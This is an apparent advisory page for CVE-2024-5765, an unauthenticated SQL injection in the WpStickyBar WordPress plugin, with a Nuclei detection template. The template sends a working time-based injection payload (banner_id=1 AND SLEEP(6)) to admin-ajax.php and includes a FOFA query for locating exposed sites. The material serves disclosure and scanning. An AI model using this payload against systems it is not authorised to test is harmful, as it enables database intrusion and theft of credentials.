CVE-2024-5765: WpStickyBar <= 2.1.0 - SQL Injection

2025-08-01 WpStickyBar PoC Public

Description

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection

PoC

id: CVE-2024-5765

info:
  name: WpStickyBar <= 2.1.0 - SQL Injection
  author: theamanrawat
  severity: high
  description: |
    The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection
  impact: |
    Unauthenticated attackers can execute time-based SQL injection attacks to extract sensitive database information including user credentials and configuration data.
  remediation: |
    Update WpStickyBar plugin to version 2.1.1 or later to address the SQL injection vulnerability.
  reference:
    - https://wpscan.com/vulnerability/0b73f84c-611e-4681-b362-35e721478ba4/
    - https://wordpress.org/plugins/wpstickybar-sticky-bar-sticky-header/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5765
  classification:
    cve-id: CVE-2024-5765
    cwe-id: CWE-89
    epss-score: 0.27232
    epss-percentile: 0.98011
  metadata:
    max-request: 2
    verified: true
    fofa-query: body="/plugins/wpstickybar-sticky-bar-sticky-header"
  tags: time-based-sqli,cve,cve2024,sqli,wpscan,wordpress,wp-plugin,wp,wpstickybar,unauth,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/plugins/wpstickybar-sticky-bar-sticky-header")'
        internal: true

  - raw:
      - |
        @timeout: 15s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=stickybar_display&banner_id=1%20AND%20SLEEP(6);

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
        condition: and
# digest: 4a0a00473045022100e0d6f0369a9fa41e1b0f1f1d39f1fa35d354968d3f38eea86f7465304487abb10220033346434505494971ed72eaf9313c05c552a759f3503a2b0ec7b4340f91508b:922c64590222798bb761d5b6d8e72950

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